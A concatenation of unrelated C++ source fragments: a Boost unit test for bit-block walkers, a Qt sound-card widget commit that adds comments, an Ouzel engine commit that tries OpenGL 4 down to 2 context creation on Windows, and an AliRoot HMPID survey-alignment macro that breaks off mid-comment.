bw.getNode()[i].next << ")"); } } } /** * Initialize a block with every odd bit set, and initialize an expected index vector * * Apply the set_bit_vector_op * * Verify that the result vector matches the expected vector */ BOOST_AUTO_TEST_CASE( test_bit_walker_set_bits ) { std::vector< unsigned int > expected; block_type _bits = 0, mask = 1; for( unsigned int i = 0; i < walker_type::bits_per_block; ++i ) { if( i & 1 ) { expected.push_back( i ); _bits |= mask; } mask <<= 1; } set_bit_vector_op sbv; walker_type::apply( _bits, sbv ); BOOST_REQUIRE_MESSAGE( sbv.indices == expected, "Unexpected list of set bits was returned" ); } /** * Initialize a block with every odd bit set, and initialize an expected index vector * * Apply the set_bit_vector_op * * Verify that the result vector matches the expected vector */ BOOST_AUTO_TEST_CASE( test_other_bit_walker_set_bits ) { BOOST_REQUIRE_MESSAGE( (std::is_same< other_walker_type::bit_walker_type, clotho::utility::bit_block_walker< sizeof(block_type) * 8 > >::value), "Unexpected bit block walker (test 1)" ); BOOST_REQUIRE_MESSAGE( (!std::is_same< other_walker_type::bit_walker_type, clotho::utility::bit_block_walker< 16 > >::value), "Unexpected bit block walker (test 2)" ); std::vector< unsigned int > expected; block_type _bits = 0, mask = 1; for( unsigned int i = 0; i < walker_type::bits_per_block; ++i ) { if( i & 1 ) { expected.push_back( i ); _bits |= mask; } mask <<= 1; } set_bit_vector_op sbv; other_walker_type::apply( _bits, sbv ); BOOST_REQUIRE_MESSAGE( sbv.indices == expected, "Unexpected list of set bits was returned" ); } /** * */ BOOST_AUTO_TEST_CASE( test_bit_block_iterator_walk ) { typedef clotho::utility::bit_block_iterator< block_type, clotho::utility::tag::walk_iterator_tag > bit_iterator; block_type val = (block_type)0x10A10000; unsigned int e_bit_count = 4; bit_iterator it(val); std::vector< unsigned int > set_bits; while( !it.done() ) { set_bits.push_back( *it ); ++it; } BOOST_REQUIRE_MESSAGE( set_bits.size() == e_bit_count, "Unexpected number of set bits in " << val << ". " << set_bits.size() << " != " << e_bit_count ); std::vector< unsigned int >::iterator bit_it = set_bits.begin(); while( bit_it != set_bits.end() ) { BOOST_REQUIRE_MESSAGE( (val & ((block_type)1 << *bit_it)), "Bit " << *bit_it << " was not set in " << val << " but should be"); ++bit_it; } } BOOST_AUTO_TEST_CASE( test_bit_block_iterator_preprocess ) { typedef clotho::utility::bit_block_iterator< block_type, clotho::utility::tag::preprocess_iterator_tag > bit_iterator; block_type val = (block_type)0x10A10000; unsigned int e_bit_count = 4; bit_iterator it(val); std::vector< unsigned int > set_bits; while( !it.done() ) { set_bits.push_back( *it ); ++it; } BOOST_REQUIRE_MESSAGE( set_bits.size() == e_bit_count, "Unexpected number of set bits in " << val << ". " << set_bits.size() << " != " << e_bit_count ); std::vector< unsigned int >::iterator bit_it = set_bits.begin(); while( bit_it != set_bits.end() ) { BOOST_REQUIRE_MESSAGE( (val & ((block_type)1 << *bit_it)), "Bit " << *bit_it << " was not set in " << val << " but should be"); ++bit_it; } } BOOST_AUTO_TEST_SUITE_END() <|endoftext|>
<commit_before>#include "soundcard.h" #include "ui_soundcard.h" #include <QMouseEvent> #include <QDebug> #include <QTimer> SoundCard::SoundCard(QWidget *parent, QString sndFile) : QWidget(parent), ui(new Ui::SoundCard), firstClick(true) { ui->setupUi(this); setStyleSheet(":hover {background-color: #eeeeee;}"); QObject::connect(ui->leName, SIGNAL(returnPressed()), this, SLOT(finishNameEdit())); soundFile = sndFile; ui->leName->setText(sndFile.replace(QRegExp(".+/"), "")); setupMediaPlayer(); contextMenu = new QMenu(); QAction* a = new QAction("Remove"); QObject::connect(a, SIGNAL(triggered()), this, SLOT(removeSelf())); contextMenu->addAction(a); a = new QAction("Add To Workspace"); QObject::connect(a, SIGNAL(triggered()), this, SLOT(addSelfToWorkspace())); contextMenu->addAction(a); a = new QAction("Save A Copy As..."); QObject::connect(a, SIGNAL(triggered()), this, SLOT(saveCopyOfSelf())); contextMenu->addAction(a); } void SoundCard::removeSelf(){ emit removeMe(this); } void SoundCard::addSelfToWorkspace(){ emit addMeToWorkspace(this); } void SoundCard::saveCopyOfSelf(){ //todo } void SoundCard::openContextMenu(){ contextMenu->exec(QCursor::pos()); } void SoundCard::mousePressEvent(QMouseEvent* evt) { if (evt->button() & Qt::RightButton){ openContextMenu(); } else if (evt->button() & Qt::LeftButton){ if (firstClick){ qDebug() << "single click"; firstClick = false; QTimer::singleShot(500, this, SLOT(doubleClickExpired())); } else{ qDebug() << "double click"; addSelfToWorkspace(); } } QWidget::mousePressEvent(evt); } SoundCard::~SoundCard(){ delete ui; } void SoundCard::doubleClickExpired() { //qDebug() << "double click expired"; if (!firstClick) firstClick = true; } void SoundCard::finishNameEdit(){ ui->leName->clearFocus(); } void SoundCard::updateSeekBar(qint64 pos){ if(!ui->seekBar->isSliderDown()){ ui->seekBar->setValue( ((double)pos / (double)mediaPlayer->duration()) * ui->seekBar->maximum()); } } void SoundCard::seekTo(int pos){ mediaPlayer->setPosition( ((double)pos / (double)ui->seekBar->maximum()) * mediaPlayer->duration()); } void SoundCard::setupMediaPlayer(){ mediaPlayer = new QMediaPlayer(); mediaPlayer->setNotifyInterval(200); mediaPlayer->setMedia( QMediaContent( QUrl::fromLocalFile(soundFile))); QObject::connect(mediaPlayer, SIGNAL(positionChanged(qint64)), this, SLOT(updateSeekBar(qint64))); QObject::connect(ui->seekBar, SIGNAL(sliderMoved(int)), this, SLOT(seekTo(int))); QObject::connect(ui->seekBar, SIGNAL(sliderPressed()), this, SLOT(toggleSeeking())); QObject::connect(ui->seekBar, SIGNAL(sliderReleased()), this, SLOT(toggleSeeking())); QObject::connect(ui->btnStop, SIGNAL(pressed()), this, SLOT(stopPlayback())); QObject::connect(ui->btnPlayPause, SIGNAL(pressed()), this, SLOT(togglePlayback())); } void SoundCard::togglePlayback(){ if(mediaPlayer->state() == QMediaPlayer::PlayingState){ mediaPlayer->pause(); ui->btnPlayPause->setIcon(QIcon(":/icons/play.svg")); } else{ mediaPlayer->play(); ui->btnPlayPause->setIcon(QIcon(":/icons/pause.svg")); } } void SoundCard::toggleSeeking(){ static int i = 0; static bool wasPlaying = false; if(i == 0){ wasPlaying = mediaPlayer->state() == QMediaPlayer::PlayingState; mediaPlayer->pause(); ++i; }else{ i = 0; if(wasPlaying) mediaPlayer->play(); } } void SoundCard::stopPlayback(){ mediaPlayer->stop(); ui->btnPlayPause->setIcon(QIcon(":/icons/play.svg")); } <commit_msg>some comments for readability<commit_after>#include "soundcard.h" #include "ui_soundcard.h" #include <QMouseEvent> #include <QDebug> #include <QTimer> SoundCard::SoundCard(QWidget *parent, QString sndFile) : QWidget(parent), ui(new Ui::SoundCard), firstClick(true) { ui->setupUi(this); setStyleSheet(":hover {background-color: #eeeeee;}"); QObject::connect(ui->leName, SIGNAL(returnPressed()), this, SLOT(finishNameEdit())); soundFile = sndFile; ui->leName->setText(sndFile.replace(QRegExp(".+/"), "")); setupMediaPlayer(); contextMenu = new QMenu(); QAction* a = new QAction("Remove"); QObject::connect(a, SIGNAL(triggered()), this, SLOT(removeSelf())); contextMenu->addAction(a); a = new QAction("Add To Workspace"); QObject::connect(a, SIGNAL(triggered()), this, SLOT(addSelfToWorkspace())); contextMenu->addAction(a); a = new QAction("Save A Copy As..."); QObject::connect(a, SIGNAL(triggered()), this, SLOT(saveCopyOfSelf())); contextMenu->addAction(a); } void SoundCard::removeSelf(){ emit removeMe(this); } void SoundCard::addSelfToWorkspace(){ emit addMeToWorkspace(this); } void SoundCard::saveCopyOfSelf(){ //todo } void SoundCard::openContextMenu(){ contextMenu->exec(QCursor::pos()); } void SoundCard::mousePressEvent(QMouseEvent* evt) { if (evt->button() & Qt::RightButton){ openContextMenu(); } else if (evt->button() & Qt::LeftButton){ if (firstClick){ qDebug() << "single click"; firstClick = false; QTimer::singleShot(500, this, SLOT(doubleClickExpired())); } else{ qDebug() << "double click"; addSelfToWorkspace(); } } QWidget::mousePressEvent(evt); } SoundCard::~SoundCard(){ delete ui; } void SoundCard::doubleClickExpired() { //qDebug() << "double click expired"; if (!firstClick) firstClick = true; } void SoundCard::finishNameEdit(){ ui->leName->clearFocus(); } //change the seekbar's position to match the mediaplayer void SoundCard::updateSeekBar(qint64 pos){ if(!ui->seekBar->isSliderDown()){ double mediaPositionRatio = (double)pos / (double)mediaPlayer->duration(); ui->seekBar->setValue( mediaPositionRatio * ui->seekBar->maximum()); } } //change the mediaplayer's position to match the seekbar void SoundCard::seekTo(int pos){ double seekBarRatio = (double)pos / (double)ui->seekBar->maximum(); mediaPlayer->setPosition( seekBarRatio * mediaPlayer->duration()); } //initialize media, connect signals and slots for media player void SoundCard::setupMediaPlayer(){ mediaPlayer = new QMediaPlayer(); mediaPlayer->setNotifyInterval(200); mediaPlayer->setMedia( QMediaContent( QUrl::fromLocalFile(soundFile))); //seeking QObject::connect(mediaPlayer, SIGNAL(positionChanged(qint64)), this, SLOT(updateSeekBar(qint64))); QObject::connect(ui->seekBar, SIGNAL(sliderMoved(int)), this, SLOT(seekTo(int))); QObject::connect(ui->seekBar, SIGNAL(sliderPressed()), this, SLOT(toggleSeeking())); QObject::connect(ui->seekBar, SIGNAL(sliderReleased()), this, SLOT(toggleSeeking())); //stop & play/pause QObject::connect(ui->btnStop, SIGNAL(pressed()), this, SLOT(stopPlayback())); QObject::connect(ui->btnPlayPause, SIGNAL(pressed()), this, SLOT(togglePlayback())); } //play or pause the media and change button icon // depending on current state void SoundCard::togglePlayback(){ if(mediaPlayer->state() == QMediaPlayer::PlayingState){ mediaPlayer->pause(); ui->btnPlayPause->setIcon(QIcon(":/icons/play.svg")); } else{ mediaPlayer->play(); ui->btnPlayPause->setIcon(QIcon(":/icons/pause.svg")); } } //fires when the seekbar is pressed or released: // pressing saves the state (playing or paused) and pauses media, // releasing restores the previous state void SoundCard::toggleSeeking(){ static int i = 0; static bool wasPlaying = false; if(i == 0){ wasPlaying = mediaPlayer->state() == QMediaPlayer::PlayingState; mediaPlayer->pause(); ++i; }else{ i = 0; if(wasPlaying) mediaPlayer->play(); } } //stop media and update icon void SoundCard::stopPlayback(){ mediaPlayer->stop(); ui->btnPlayPause->setIcon(QIcon(":/icons/play.svg")); } <|endoftext|>
<commit_before>// Copyright (C) 2017 Elviss Strazdins // This file is part of the Ouzel engine. #include <string.h> #define GL_GLEXT_PROTOTYPES 1 #include "GL/glcorearb.h" #include "GL/glext.h" #include "GL/wglext.h" #include "RendererOGLWin.h" #include "core/windows/WindowWin.h" #include "utils/Utils.h" static const LPCWSTR TEMP_WINDOW_CLASS_NAME = L"TempWindow"; static LRESULT CALLBACK windowProc(HWND window, UINT msg, WPARAM wParam, LPARAM lParam) { return DefWindowProc(window, msg, wParam, lParam); } namespace ouzel { namespace graphics { class TempContext { public: TempContext() { HINSTANCE hInstance = GetModuleHandleW(nullptr); WNDCLASSW wc; wc.style = CS_OWNDC; wc.lpfnWndProc = windowProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = 0; wc.hCursor = 0; wc.hbrBackground = 0; wc.lpszMenuName = nullptr; wc.lpszClassName = TEMP_WINDOW_CLASS_NAME; windowClass = RegisterClassW(&wc); if (!windowClass) { Log(Log::Level::ERR) << "Failed to register window class"; return; } window = CreateWindowW(TEMP_WINDOW_CLASS_NAME, L"TempWindow", 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, hInstance, 0); if (!window) { Log(Log::Level::ERR) << "Failed to create window"; return; } deviceContext = GetDC(window); PIXELFORMATDESCRIPTOR pixelFormatDesc; pixelFormatDesc.nSize = sizeof(pixelFormatDesc); pixelFormatDesc.nVersion = 1; pixelFormatDesc.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER; pixelFormatDesc.iPixelType = PFD_TYPE_RGBA; pixelFormatDesc.cColorBits = 24; pixelFormatDesc.cRedBits = 0; pixelFormatDesc.cRedShift = 0; pixelFormatDesc.cGreenBits = 0; pixelFormatDesc.cGreenShift = 0; pixelFormatDesc.cBlueBits = 0; pixelFormatDesc.cBlueShift = 0; pixelFormatDesc.cAlphaBits = 0; pixelFormatDesc.cAlphaShift = 0; pixelFormatDesc.cAccumBits = 0; pixelFormatDesc.cAccumRedBits = 0; pixelFormatDesc.cAccumGreenBits = 0; pixelFormatDesc.cAccumBlueBits = 0; pixelFormatDesc.cAccumAlphaBits = 0; pixelFormatDesc.cDepthBits = 0; pixelFormatDesc.cStencilBits = 0; pixelFormatDesc.cAuxBuffers = 0; pixelFormatDesc.iLayerType = PFD_MAIN_PLANE; pixelFormatDesc.bReserved = 0; pixelFormatDesc.dwLayerMask = 0; pixelFormatDesc.dwVisibleMask = 0; pixelFormatDesc.dwDamageMask = 0; int pixelFormat = ChoosePixelFormat(deviceContext, &pixelFormatDesc); if (!pixelFormat) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return; } if (!SetPixelFormat(deviceContext, pixelFormat, &pixelFormatDesc)) { Log(Log::Level::ERR) << "Failed to set pixel format"; return; } renderContext = wglCreateContext(deviceContext); if (!renderContext) { Log(Log::Level::ERR) << "Failed to create OpenGL context"; return; } if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return; } } ~TempContext() { if (renderContext) { wglMakeCurrent(deviceContext, nullptr); wglDeleteContext(renderContext); } if (window) { DestroyWindow(window); } if (windowClass) { UnregisterClassW(TEMP_WINDOW_CLASS_NAME, GetModuleHandle(nullptr)); } } private: ATOM windowClass = 0; HWND window = 0; HDC deviceContext = 0; HGLRC renderContext = 0; }; RendererOGLWin::~RendererOGLWin() { if (renderContext) { wglMakeCurrent(deviceContext, nullptr); wglDeleteContext(renderContext); } } bool RendererOGLWin::init(Window* newWindow, const Size2& newSize, uint32_t newSampleCount, Texture::Filter newTextureFilter, uint32_t newMaxAnisotropy, bool newVerticalSync, bool newDepth, bool newDebugRenderer) { TempContext tempContext; PFNWGLCHOOSEPIXELFORMATARBPROC wglChoosePixelFormatProc = reinterpret_cast<PFNWGLCHOOSEPIXELFORMATARBPROC>(wglGetProcAddress("wglChoosePixelFormatARB")); WindowWin* windowWin = static_cast<WindowWin*>(newWindow); deviceContext = GetDC(windowWin->getNativeWindow()); if (!deviceContext) { Log(Log::Level::ERR) << "Failed to get window's device context"; return false; } int pixelFormat = 0; PIXELFORMATDESCRIPTOR pixelFormatDesc; pixelFormatDesc.nSize = sizeof(pixelFormatDesc); pixelFormatDesc.nVersion = 1; pixelFormatDesc.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_GENERIC_ACCELERATED; pixelFormatDesc.iPixelType = PFD_TYPE_RGBA; pixelFormatDesc.cColorBits = 24; pixelFormatDesc.cRedBits = 0; pixelFormatDesc.cRedShift = 0; pixelFormatDesc.cGreenBits = 0; pixelFormatDesc.cGreenShift = 0; pixelFormatDesc.cBlueBits = 0; pixelFormatDesc.cBlueShift = 0; pixelFormatDesc.cAlphaBits = 0; pixelFormatDesc.cAlphaShift = 0; pixelFormatDesc.cAccumBits = 0; pixelFormatDesc.cAccumRedBits = 0; pixelFormatDesc.cAccumGreenBits = 0; pixelFormatDesc.cAccumBlueBits = 0; pixelFormatDesc.cAccumAlphaBits = 0; pixelFormatDesc.cDepthBits = newDepth ? 24 : 0; pixelFormatDesc.cStencilBits = 0; pixelFormatDesc.cAuxBuffers = 0; pixelFormatDesc.iLayerType = PFD_MAIN_PLANE; pixelFormatDesc.bReserved = 0; pixelFormatDesc.dwLayerMask = 0; pixelFormatDesc.dwVisibleMask = 0; pixelFormatDesc.dwDamageMask = 0; if (wglChoosePixelFormatProc) { const int attributeList[] = { WGL_DRAW_TO_WINDOW_ARB, GL_TRUE, WGL_SUPPORT_OPENGL_ARB, GL_TRUE, WGL_DOUBLE_BUFFER_ARB, GL_TRUE, WGL_PIXEL_TYPE_ARB, WGL_TYPE_RGBA_ARB, WGL_COLOR_BITS_ARB, 24, WGL_ALPHA_BITS_ARB, 8, WGL_DEPTH_BITS_ARB, newDepth ? 24 : 0, WGL_SAMPLE_BUFFERS_ARB, newSampleCount > 0 ? 1 : 0, WGL_SAMPLES_ARB, static_cast<int>(newSampleCount), 0, }; UINT numFormats; if (!wglChoosePixelFormatProc(deviceContext, attributeList, nullptr, 1, &pixelFormat, &numFormats)) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return false; } } else { pixelFormat = ChoosePixelFormat(deviceContext, &pixelFormatDesc); } if (!pixelFormat) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return false; } if (!SetPixelFormat(deviceContext, pixelFormat, &pixelFormatDesc)) { Log(Log::Level::ERR) << "Failed to set pixel format"; return false; } PFNWGLCREATECONTEXTATTRIBSARBPROC wglCreateContextAttribsProc = reinterpret_cast<PFNWGLCREATECONTEXTATTRIBSARBPROC>(wglGetProcAddress("wglCreateContextAttribsARB")); if (wglCreateContextAttribsProc) { std::vector<int> contextAttribs; if (newDebugRenderer) { contextAttribs.push_back(WGL_CONTEXT_FLAGS_ARB); contextAttribs.push_back(WGL_CONTEXT_DEBUG_BIT_ARB); } contextAttribs.push_back(0); renderContext = wglCreateContextAttribsProc(deviceContext, 0, contextAttribs.data()); } else { renderContext = wglCreateContext(deviceContext); } if (!renderContext) { Log(Log::Level::ERR) << "Failed to create OpenGL context"; return false; } if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return false; } const GLubyte* versionPtr = glGetString(GL_VERSION); if (!versionPtr) { Log(Log::Level::ERR) << "Failed to get OpenGL version"; return false; } std::string version(reinterpret_cast<const char*>(versionPtr)); std::string majorVersion; std::string minorVersion; uint32_t part = 0; for (char c : version) { if (c == '.' || c == ' ') { if (++part > 1) break; } else if (part == 0) majorVersion += c; else if (part == 1) minorVersion += c; } apiMajorVersion = static_cast<uint16_t>(stoi(majorVersion)); apiMinorVersion = static_cast<uint16_t>(stoi(minorVersion)); if (apiMajorVersion < 2 || apiMajorVersion > 4) { Log(Log::Level::ERR) << "Unsupported OpenGL version"; return false; } return RendererOGL::init(newWindow, newSize, newSampleCount, newTextureFilter, newMaxAnisotropy, newVerticalSync, newDepth, newDebugRenderer); } bool RendererOGLWin::lockContext() { if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return false; } return true; } bool RendererOGLWin::swapBuffers() { if (!SwapBuffers(deviceContext)) { Log(Log::Level::ERR) << "Failed to swap buffers"; return false; } return true; } } // namespace graphics } // namespace ouzel <commit_msg>Try to create context of all supported versions of OpenGL<commit_after>// Copyright (C) 2017 Elviss Strazdins // This file is part of the Ouzel engine. #include <string.h> #define GL_GLEXT_PROTOTYPES 1 #include "GL/glcorearb.h" #include "GL/glext.h" #include "GL/wglext.h" #include "RendererOGLWin.h" #include "core/windows/WindowWin.h" #include "utils/Utils.h" static const LPCWSTR TEMP_WINDOW_CLASS_NAME = L"TempWindow"; static LRESULT CALLBACK windowProc(HWND window, UINT msg, WPARAM wParam, LPARAM lParam) { return DefWindowProc(window, msg, wParam, lParam); } namespace ouzel { namespace graphics { class TempContext { public: TempContext() { HINSTANCE hInstance = GetModuleHandleW(nullptr); WNDCLASSW wc; wc.style = CS_OWNDC; wc.lpfnWndProc = windowProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = 0; wc.hCursor = 0; wc.hbrBackground = 0; wc.lpszMenuName = nullptr; wc.lpszClassName = TEMP_WINDOW_CLASS_NAME; windowClass = RegisterClassW(&wc); if (!windowClass) { Log(Log::Level::ERR) << "Failed to register window class"; return; } window = CreateWindowW(TEMP_WINDOW_CLASS_NAME, L"TempWindow", 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, hInstance, 0); if (!window) { Log(Log::Level::ERR) << "Failed to create window"; return; } deviceContext = GetDC(window); PIXELFORMATDESCRIPTOR pixelFormatDesc; pixelFormatDesc.nSize = sizeof(pixelFormatDesc); pixelFormatDesc.nVersion = 1; pixelFormatDesc.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER; pixelFormatDesc.iPixelType = PFD_TYPE_RGBA; pixelFormatDesc.cColorBits = 24; pixelFormatDesc.cRedBits = 0; pixelFormatDesc.cRedShift = 0; pixelFormatDesc.cGreenBits = 0; pixelFormatDesc.cGreenShift = 0; pixelFormatDesc.cBlueBits = 0; pixelFormatDesc.cBlueShift = 0; pixelFormatDesc.cAlphaBits = 0; pixelFormatDesc.cAlphaShift = 0; pixelFormatDesc.cAccumBits = 0; pixelFormatDesc.cAccumRedBits = 0; pixelFormatDesc.cAccumGreenBits = 0; pixelFormatDesc.cAccumBlueBits = 0; pixelFormatDesc.cAccumAlphaBits = 0; pixelFormatDesc.cDepthBits = 0; pixelFormatDesc.cStencilBits = 0; pixelFormatDesc.cAuxBuffers = 0; pixelFormatDesc.iLayerType = PFD_MAIN_PLANE; pixelFormatDesc.bReserved = 0; pixelFormatDesc.dwLayerMask = 0; pixelFormatDesc.dwVisibleMask = 0; pixelFormatDesc.dwDamageMask = 0; int pixelFormat = ChoosePixelFormat(deviceContext, &pixelFormatDesc); if (!pixelFormat) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return; } if (!SetPixelFormat(deviceContext, pixelFormat, &pixelFormatDesc)) { Log(Log::Level::ERR) << "Failed to set pixel format"; return; } renderContext = wglCreateContext(deviceContext); if (!renderContext) { Log(Log::Level::ERR) << "Failed to create OpenGL context"; return; } if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return; } } ~TempContext() { if (renderContext) { wglMakeCurrent(deviceContext, nullptr); wglDeleteContext(renderContext); } if (window) { DestroyWindow(window); } if (windowClass) { UnregisterClassW(TEMP_WINDOW_CLASS_NAME, GetModuleHandle(nullptr)); } } private: ATOM windowClass = 0; HWND window = 0; HDC deviceContext = 0; HGLRC renderContext = 0; }; RendererOGLWin::~RendererOGLWin() { if (renderContext) { wglMakeCurrent(deviceContext, nullptr); wglDeleteContext(renderContext); } } bool RendererOGLWin::init(Window* newWindow, const Size2& newSize, uint32_t newSampleCount, Texture::Filter newTextureFilter, uint32_t newMaxAnisotropy, bool newVerticalSync, bool newDepth, bool newDebugRenderer) { TempContext tempContext; PFNWGLCHOOSEPIXELFORMATARBPROC wglChoosePixelFormatProc = reinterpret_cast<PFNWGLCHOOSEPIXELFORMATARBPROC>(wglGetProcAddress("wglChoosePixelFormatARB")); WindowWin* windowWin = static_cast<WindowWin*>(newWindow); deviceContext = GetDC(windowWin->getNativeWindow()); if (!deviceContext) { Log(Log::Level::ERR) << "Failed to get window's device context"; return false; } int pixelFormat = 0; PIXELFORMATDESCRIPTOR pixelFormatDesc; pixelFormatDesc.nSize = sizeof(pixelFormatDesc); pixelFormatDesc.nVersion = 1; pixelFormatDesc.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_GENERIC_ACCELERATED; pixelFormatDesc.iPixelType = PFD_TYPE_RGBA; pixelFormatDesc.cColorBits = 24; pixelFormatDesc.cRedBits = 0; pixelFormatDesc.cRedShift = 0; pixelFormatDesc.cGreenBits = 0; pixelFormatDesc.cGreenShift = 0; pixelFormatDesc.cBlueBits = 0; pixelFormatDesc.cBlueShift = 0; pixelFormatDesc.cAlphaBits = 0; pixelFormatDesc.cAlphaShift = 0; pixelFormatDesc.cAccumBits = 0; pixelFormatDesc.cAccumRedBits = 0; pixelFormatDesc.cAccumGreenBits = 0; pixelFormatDesc.cAccumBlueBits = 0; pixelFormatDesc.cAccumAlphaBits = 0; pixelFormatDesc.cDepthBits = newDepth ? 24 : 0; pixelFormatDesc.cStencilBits = 0; pixelFormatDesc.cAuxBuffers = 0; pixelFormatDesc.iLayerType = PFD_MAIN_PLANE; pixelFormatDesc.bReserved = 0; pixelFormatDesc.dwLayerMask = 0; pixelFormatDesc.dwVisibleMask = 0; pixelFormatDesc.dwDamageMask = 0; if (wglChoosePixelFormatProc) { const int attributeList[] = { WGL_DRAW_TO_WINDOW_ARB, GL_TRUE, WGL_SUPPORT_OPENGL_ARB, GL_TRUE, WGL_DOUBLE_BUFFER_ARB, GL_TRUE, WGL_PIXEL_TYPE_ARB, WGL_TYPE_RGBA_ARB, WGL_COLOR_BITS_ARB, 24, WGL_ALPHA_BITS_ARB, 8, WGL_DEPTH_BITS_ARB, newDepth ? 24 : 0, WGL_SAMPLE_BUFFERS_ARB, newSampleCount > 0 ? 1 : 0, WGL_SAMPLES_ARB, static_cast<int>(newSampleCount), 0, }; UINT numFormats; if (!wglChoosePixelFormatProc(deviceContext, attributeList, nullptr, 1, &pixelFormat, &numFormats)) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return false; } } else { pixelFormat = ChoosePixelFormat(deviceContext, &pixelFormatDesc); } if (!pixelFormat) { Log(Log::Level::ERR) << "Failed to choose pixel format"; return false; } if (!SetPixelFormat(deviceContext, pixelFormat, &pixelFormatDesc)) { Log(Log::Level::ERR) << "Failed to set pixel format"; return false; } PFNWGLCREATECONTEXTATTRIBSARBPROC wglCreateContextAttribsProc = reinterpret_cast<PFNWGLCREATECONTEXTATTRIBSARBPROC>(wglGetProcAddress("wglCreateContextAttribsARB")); if (wglCreateContextAttribsProc) { for (int openGLVersion = 4; openGLVersion >= 2; --openGLVersion) { std::vector<int> contextAttribs = { WGL_CONTEXT_MAJOR_VERSION_ARB, openGLVersion, WGL_CONTEXT_MINOR_VERSION_ARB, 0, }; if (newDebugRenderer) { contextAttribs.push_back(WGL_CONTEXT_FLAGS_ARB); contextAttribs.push_back(WGL_CONTEXT_DEBUG_BIT_ARB); } contextAttribs.push_back(0); renderContext = wglCreateContextAttribsProc(deviceContext, 0, contextAttribs.data()); if (renderContext) { Log(Log::Level::INFO) << "OpenGL " << openGLVersion << " context created"; break; } } } else { renderContext = wglCreateContext(deviceContext); } if (!renderContext) { Log(Log::Level::ERR) << "Failed to create OpenGL context"; return false; } if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return false; } const GLubyte* versionPtr = glGetString(GL_VERSION); if (!versionPtr) { Log(Log::Level::ERR) << "Failed to get OpenGL version"; return false; } std::string version(reinterpret_cast<const char*>(versionPtr)); std::string majorVersion; std::string minorVersion; uint32_t part = 0; for (char c : version) { if (c == '.' || c == ' ') { if (++part > 1) break; } else if (part == 0) majorVersion += c; else if (part == 1) minorVersion += c; } apiMajorVersion = static_cast<uint16_t>(stoi(majorVersion)); apiMinorVersion = static_cast<uint16_t>(stoi(minorVersion)); if (apiMajorVersion < 2 || apiMajorVersion > 4) { Log(Log::Level::ERR) << "Unsupported OpenGL version"; return false; } return RendererOGL::init(newWindow, newSize, newSampleCount, newTextureFilter, newMaxAnisotropy, newVerticalSync, newDepth, newDebugRenderer); } bool RendererOGLWin::lockContext() { if (!wglMakeCurrent(deviceContext, renderContext)) { Log(Log::Level::ERR) << "Failed to set current OpenGL context"; return false; } return true; } bool RendererOGLWin::swapBuffers() { if (!SwapBuffers(deviceContext)) { Log(Log::Level::ERR) << "Failed to swap buffers"; return false; } return true; } } // namespace graphics } // namespace ouzel <|endoftext|>
<commit_before> TVector3 v[28]; Int_t nCh; TGeoHMatrix GetResSurvAlign(Int_t survNch); void SurveyToAlignHmpid(){ AliSurveyObj *so = new AliSurveyObj(); Int_t size = so->GetEntries(); printf("-> %d\n", size); so->FillFromLocalFile("Survey_781282_HMPID.txt"); size = so->GetEntries(); printf("--> %d\n", size); TObjArray *points = so->GetData(); // TVector3 v[28]; for (Int_t i = 0; i < points->GetEntries(); ++i) { AliSurveyPoint *p=(AliSurveyPoint *) points->At(i); v[i].SetXYZ(p->GetX()*100.,p->GetY()*100.,p->GetZ()*100.); } // // To produce the alignment object for the given volume you would // // then do something like this: // // Calculate the global delta transformation as ng * g3-1 // TGeoHMatrix gdelta = g3->Inverse(); //now equal to the inverse of g3 // gdelta.MultiplyLeft(&ng); // Int_t index = 0; // // if the volume is in the look-up table use something like this instead: // // AliGeomManager::LayerToVolUID(AliGeomManager::kTOF,i); // AliAlignObjMatrix* mobj = new AliAlignObjMatrix("symname",index,gdelta,kTRUE); TGeoHMatrix mtx = GetResSurvAlign(5); TGeoManager::Import("/home/mserio/tstesdtrk/geometry.root"); gGeoManager->cd(Form("ALIC_1/Hmp_%1i",nCh)); TGeoHMatrix g0 = *gGeoManager->GetCurrentMatrix(); cout<<"\n\n*********Ideal Matrix (chamber "<<nCh<<")*********"<<endl; g0.Print(); TGeoHMatrix gdelta = g0.Inverse(); gdelta.MultiplyLeft(&mtx); //gdelta.Print(); AliAlignObjMatrix* mobj = new AliAlignObjMatrix(AliGeomManager::SymName(AliGeomManager::LayerToVolUID(AliGeomManager::kHMPID,nCh)), AliGeomManager::LayerToVolUID(AliGeomManager::kHMPID,nCh),gdelta,kTRUE); /* cout<<"\n************* obtained AliAlignObjMatrix************\n"; mobj->Print(); cout<<""<<endl; TGeoHMatrix pa=gdelta*g0; pa.Print(); */ } TGeoHMatrix GetResSurvAlign(Int_t survNch) { cout<<" ************Survey numbering********Offline Numbering**********"<<endl; cout<<"\nChamber No 0 4 "<<endl; cout<<"Chamber No 1 3 "<<endl; cout<<"Chamber No 2 5 "<<endl; cout<<"Chamber No 3 1 "<<endl; cout<<"Chamber No 4 6 "<<endl; cout<<"Chamber No 5 2 "<<endl; cout<<"Chamber No 6 0 "<<endl; // From the new fiducial marks coordinates derive back the // 